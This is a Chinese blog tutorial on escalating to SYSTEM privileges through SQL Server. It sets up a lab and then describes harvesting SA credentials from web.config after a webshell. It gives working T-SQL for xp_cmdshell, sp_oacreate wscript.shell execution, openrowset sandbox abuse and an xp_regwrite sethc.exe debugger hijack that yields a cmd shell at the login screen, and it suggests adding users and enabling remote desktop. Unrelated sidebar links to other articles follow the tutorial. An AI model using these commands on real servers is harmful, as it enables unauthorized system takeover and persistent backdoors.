Windows权限提升 —SQL Server/MSSQL数据库提权
nanshan 2024-10-07 11:06 42 浏览 0 评论
1. 简介
在之前的Windows权限提升—MySQL数据库提权中已经介绍了关于数据库方面的权限提升,同时在Windows权限提升—溢出提权的时候,简要的介绍了关于Windows提权方面整体的流程与方式,这里就不再赘述,直接进行Windows权限提升—SQL Server/MSSQL数据库的提权。
SQL Server与MSSQL其实就是一个东西,只是叫法不同。
2. 环境准备
实验环境:Windows系统、SQL Server 2008版本
2.1. SQL Server介绍
Microsoft SQLServer是一个C/S模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。
这里选在两个,第一个sqlexpr是安装程序,第二个managementstudio是管理程序,注意看清是64位系统还是32位系统哦。
同时建议全程联网,可能会遇到一些插件没有,在联网中可以自动安装。
下载链接:SQL Server下载:https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
2.2. SQL Server安装
2.2.1. 主程序安装步骤
这里只把重要的展示出来,安装的时候需要注意,其它的默认都是下一步,不过可能安装过程中有所不同,如果遇到不同的可以自行搜索一下,包括我在安装中均遇到了一些不同的操作。
2.2.1.1. 双击SQL EXPR
双击打开SQL EXPR文件,这里需要稍等一会, 就会出现下面的界面。点击“全新安装或向现有安装添加功能”。
2.2.1.2. 实例配置
这里默认是选在命名实例,这里我们修改位默认实例,然后下一步。
2.2.1.3. 服务器配置
点击“对所有SQL Server服务使用相同的账户”,然后选在system账户。
2.2.1.4. 数据库引擎
点击“添加当前用户”,会自动添加当前用户,正常到这个页面默认就会选择当前用户,然后下一步,这里可能会遇到错误报告,不用管,直接下一步。
2.2.1.5. 安装完成
这里就安装完成了。
2.2.2. 管理程序安装
这里的安装和主程序安装其实差不多,这里也是同样将重要的展示一下,不重要的一律下一步,这里的管理程序就是managementstudio。
2.2.2.1. 安装插件
在部分电脑上,尤其是虚拟机可能需要安装插件,所以说为什么一定要联网呢。
2.2.2.2. 安装
这里也是一样,全新安装,后续基本上保持默认,直接都是下一步。
2.2.2.3. 安装完成
到这里就已经全部完成了。
2.2.3. 管理程序使用
这里在开始菜单找到SQL Server ManagementStudio,然后就能够打开管理菜单。
2.2.3.1. 初始化
在第一次打开后,需要简单的配置一下初始化状态,然后点击连接,即可。
2.3. 环境配置
这里为我们提权测试,我们还需要简单的配置一下。
2.3.1. 重启数据库
这里我们在刚刚连接进去的页面中,右击数据库,点击"属性",点进去后,直接点击确定,不需要点击其它的,然后重启数据库。
2.3.2. 添加SA用户
这里在使用SQL Server提权的时候需要获取SA用户权限才可以,所以我们这里先设置一个SA用户。
点击“安全性”“登录名”找到“SA”设置这个用户的密码。
2.3.3. 设置权限
还是在sa用户那个设置的页面中,设置一下权限,点击左上角的第二个属性服务器角色(server roles),这里是你为添加该用户要实现哪些角色。一般我们自己使用都是配置最高权限的角色,一个是public ,还有一个是sysadmin。
2.3.4. 设置外联
这里设置一下外联,我们点击最后一个属性,也就是状态属性(Status),在这个状态栏中,我们只需要勾选上面一栏是否允许连接到数据库引擎(Permission to connect to database engine) 选择 grant(授予);
2.3.5. 重启数据库
在所有都配置好后,重启一下数据库,右击—重启数据库。
2.3.6. 测试外联
这里需要查看一下sql server配置管理器的网络配置中的tcp/ip是否开启,然后在使用navicat进行连接。
3. 初期流程
所谓的初期流程就是,需要先获取到数据库的SA账户密码,然后判断端口是否为SQL Server数据库。
3.1. 获取SA账户密码
获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中。
准确说这里获取SA账户密码,也就是需要获取SA管理权限。
3.2. 获取外联状况
如果能够连接外联更好,如果无法就需要通过webshell上的数据库管理进行操作,那么这个的前提就需要先上传一个后面木马了。当然直接外联的情况下,是保证你能够正确获取到账户密码。
4. SQL Server提权
4.1. SQL Server提权方式
- xp_cmdshell提权
- sp_oacerate提权
- SQL Server沙盒提权
- xp_regwritet提权
4.2. xp_cmdshell提权
xp_cmdshell可以执行系统命令,该组件默认是关闭的,因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
如果mssql被降权或者设置的是其它权限,那么我们也无法进行提权。
4.2.1. 获取xp_cmdshell的状态
首先首需要获取xp_cmdshell的状态,通过命令查看,是处于禁止状态。
EXEC master.dbo.xp_cmdshell 'whoami'
4.2.2. 开启xp_cmdshell
这里通过使用命令开启xp_cmdshell即可。
开启:
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
4.2.3. 执行命令
上面的程序命令执行成功后,就可以使用下面的命令进行执行命令了,并且都是以system权限执行。
EXEC master.dbo.xp_cmdshell 'whoami'
4.3. sp_oacreate组件提权
在xp_cmdshell被删除或不能利用是可以考虑利用sp_oacreate,利用前提需要sqlserver sysadmin账户服务器权限为system。sp_oacreate 是一个存储过程,可以删除、复制、移动文件,还能配合 sp_oamethod 来写文件执行系统命令。
4.3.1. 判断组件是否存在
输入下面的命令,如果返回是1证明,组件是存在的,反之则不存在。
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
4.3.2. 判断组件是否开启
通过测试发现组件并未开启。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt'
4.3.3. 开启组件
通过执行下列命令开启组件。
开启:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
4.3.4. 执行命令
将之前执行未成功的命令,进行执行,这里需要注意,使用sp_oacreate组件提权是没有回显的,需要注意,最好的办法就是通过上传webshell后去查看文档记录,若打不开C盘(权限不够的情况下),可以将结果文件导入到你能打开的目录下。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt'
4.3.5. 查看效果
这里我们就可以查看一下,执行的效果,当然如果你能执行命令了,那么基本上提权就是system命令,确信的情况下直接就执行你想要执行的命令吧,比如开启远程桌面,添加用户等等。
4.3.6. 回显执行命令
这里也是找到一个大佬写的文章,可以实现回显执行命令。
declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
4.4. 沙盒提权
沙盒模式是数据库的一种安全功能。在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql),服务器拥有 jet.oledb.4.0 驱动。
局限性:
- Microsoft.jet.oledb.4.0一般在32位操作系统上才可以
- Windows 2008以上 默认无 Access 数据库文件, 需要自己上传
- sqlserver2015默认禁用Ad Hoc Distributed Queries,需要开启。
4.4.1. 管理Ad Hoc Distributed Queries
开启:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
关闭:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
4.4.2. 管理沙盒模式
这里我看别人的文章,说沙盒模式的开关都不影响命令的运行,这里由于需要安装在32位系统上,这里我就没有测试。
关闭:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
恢复:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',2;
4.4.3. 沙盒模式说明
沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启
查看沙盒模式
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
4.4.4. 执行命令
这里由于需要安装32位,64位不行所以就没进行具体测试,可以看到这里报错了。
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')
4.5. xp_regwrite提权
通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持,当然前提条件就是未禁止注册表编辑(即写入功能)。
同时种方式如果存在杀软的话,可能会被直接拦截,大概率是由于触发到修改注册表的原因。
4.5.1. 查询xp_regwrite是否启用
这里查询一下是否启动,如果启用了,那么输出的结果为1,反之则为启用。
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
4.5.2. 开启xp_regwrite功能
我这里已经开启了,就出现报错了,之前我试了一下关闭,好像还是报错,不过默认情况下好像是开启的。
开启:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_regwrite',1;
RECONFIGURE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_regwrite',0;
RECONFIGURE;
4.5.3. 注册表劫持
利用regwrite函数修改组注册表进行劫持。
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
4.5.4. 查看是否劫持成功
接着我们查看是否劫持成功,可以看到下面显示cmd.exe,那么就证明劫持成功。
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
4.5.5. 测试结果
这里使用远程桌面,或者什么其它方式,进入未输入密码的界面,然后按按5次shift,即可跳出cmd.exe。
5. 总结
最后,这几种提权方式,目前在SQL Server2008及以前版本同时SQL Server2012上基本上都能用,但是到2016或者更高的版本上就可能会出现部分不能用,或者SA权限太低的情况,导致无法提权。
相关推荐
- 0722-6.2.0-如何在RedHat7.2使用rpm安装CDH(无CM)
-
文档编写目的在前面的文档中,介绍了在有CM和无CM两种情况下使用rpm方式安装CDH5.10.0,本文档将介绍如何在无CM的情况下使用rpm方式安装CDH6.2.0,与之前安装C5进行对比。环境介绍:...
- ARM64 平台基于 openEuler + iSula 环境部署 Kubernetes
-
为什么要在arm64平台上部署Kubernetes,而且还是鲲鹏920的架构。说来话长。。。此处省略5000字。介绍下系统信息;o架构:鲲鹏920(Kunpeng920)oOS:ope...
- 生产环境starrocks 3.1存算一体集群部署
-
集群规划FE:节点主要负责元数据管理、客户端连接管理、查询计划和查询调度。>3节点。BE:节点负责数据存储和SQL执行。>3节点。CN:无存储功能能的BE。环境准备CPU检查JDK...
- 在CentOS上添加swap虚拟内存并设置优先级
-
现如今很多云服务器都会自己配置好虚拟内存,当然也有很多没有配置虚拟内存的,虚拟内存可以让我们的低配服务器使用更多的内存,可以减少很多硬件成本,比如我们运行很多服务的时候,内存常常会满,当配置了虚拟内存...
- 国产深度(deepin)操作系统优化指南
-
1.升级内核随着deepin版本的更新,会自动升级系统内核,但是我们依旧可以通过命令行手动升级内核,以获取更好的性能和更多的硬件支持。具体操作:-添加PPAs使用以下命令添加PPAs:```...
- postgresql-15.4 多节点主从(读写分离)
-
1、下载软件[root@TX-CN-PostgreSQL01-252software]#wgethttps://ftp.postgresql.org/pub/source/v15.4/postg...
- Docker 容器 Java 服务内存与 GC 优化实施方案
-
一、设置Docker容器内存限制(生产环境建议)1.查看宿主机可用内存bashfree-h#示例输出(假设宿主机剩余16GB可用内存)#Mem:64G...
- 虚拟内存设置、解决linux内存不够问题
-
虚拟内存设置(解决linux内存不够情况)背景介绍 Memory指机器物理内存,读写速度低于CPU一个量级,但是高于磁盘不止一个量级。所以,程序和数据如果在内存的话,会有非常快的读写速度。但是,内存...
- Elasticsearch性能调优(5):服务器配置选择
-
在选择elasticsearch服务器时,要尽可能地选择与当前业务量相匹配的服务器。如果服务器配置太低,则意味着需要更多的节点来满足需求,一个集群的节点太多时会增加集群管理的成本。如果服务器配置太高,...
- Es如何落地
-
一、配置准备节点类型CPU内存硬盘网络机器数操作系统data节点16C64G2000G本地SSD所有es同一可用区3(ecs)Centos7master节点2C8G200G云SSD所有es同一可用区...
- 针对Linux内存管理知识学习总结
-
现在的服务器大部分都是运行在Linux上面的,所以,作为一个程序员有必要简单地了解一下系统是如何运行的。对于内存部分需要知道:地址映射内存管理的方式缺页异常先来看一些基本的知识,在进程看来,内存分为内...
- MySQL进阶之性能优化
-
概述MySQL的性能优化,包括了服务器硬件优化、操作系统的优化、MySQL数据库配置优化、数据库表设计的优化、SQL语句优化等5个方面的优化。在进行优化之前,需要先掌握性能分析的思路和方法,找出问题,...
- Linux Cgroups(Control Groups)原理
-
LinuxCgroups(ControlGroups)是内核提供的资源分配、限制和监控机制,通过层级化进程分组实现资源的精细化控制。以下从核心原理、操作示例和版本演进三方面详细分析:一、核心原理与...
- linux 常用性能优化参数及理解
-
1.优化内核相关参数配置文件/etc/sysctl.conf配置方法直接将参数添加进文件每条一行.sysctl-a可以查看默认配置sysctl-p执行并检测是否有错误例如设置错了参数:[roo...
- 如何在 Linux 中使用 Sysctl 命令?
-
sysctl是一个用于配置和查询Linux内核参数的命令行工具。它通过与/proc/sys虚拟文件系统交互,允许用户在运行时动态修改内核参数。这些参数控制着系统的各种行为,包括网络设置、文件...
你 发表评论:
欢迎- 一周热门
-
-
UOS服务器操作系统防火墙设置(uos20关闭防火墙)
-
极空间如何无损移机,新Z4 Pro又有哪些升级?极空间Z4 Pro深度体验
-
手机如何设置与显示准确时间的详细指南
-
NAS:DS video/DS file/DS photo等群晖移动端APP远程访问的教程
-
如何在安装前及安装后修改黑群晖的Mac地址和Sn系列号
-
如何修复用户配置文件服务在 WINDOWS 上登录失败的问题
-
一加手机与电脑互传文件的便捷方法FileDash
-
日本海上自卫队的军衔制度(日本海上自卫队的军衔制度是什么)
-
10个免费文件中转服务站,分享文件简单方便,你知道几个?
-
爱折腾的特斯拉车主必看!手把手教你TESLAMATE的备份和恢复
-
- 最近发表
- 标签列表
-
- linux 查询端口号 (58)
- docker映射容器目录到宿主机 (66)
- 杀端口 (60)
- yum更换阿里源 (62)
- internet explorer 增强的安全配置已启用 (65)
- linux自动挂载 (56)
- 禁用selinux (55)
- sysv-rc-conf (69)
- ubuntu防火墙状态查看 (64)
- windows server 2022激活密钥 (56)
- 无法与服务器建立安全连接是什么意思 (74)
- 443/80端口被占用怎么解决 (56)
- ping无法访问目标主机怎么解决 (58)
- fdatasync (59)
- 405 not allowed (56)
- 免备案虚拟主机zxhost (55)
- linux根据pid查看进程 (60)
- dhcp工具 (62)
- mysql 1045 (57)
- 宝塔远程工具 (56)
- ssh服务器拒绝了密码 请再试一次 (56)
- ubuntu卸载docker (56)
- linux查看nginx状态 (63)
- tomcat 乱码 (76)
- 2008r2激活序列号 (65)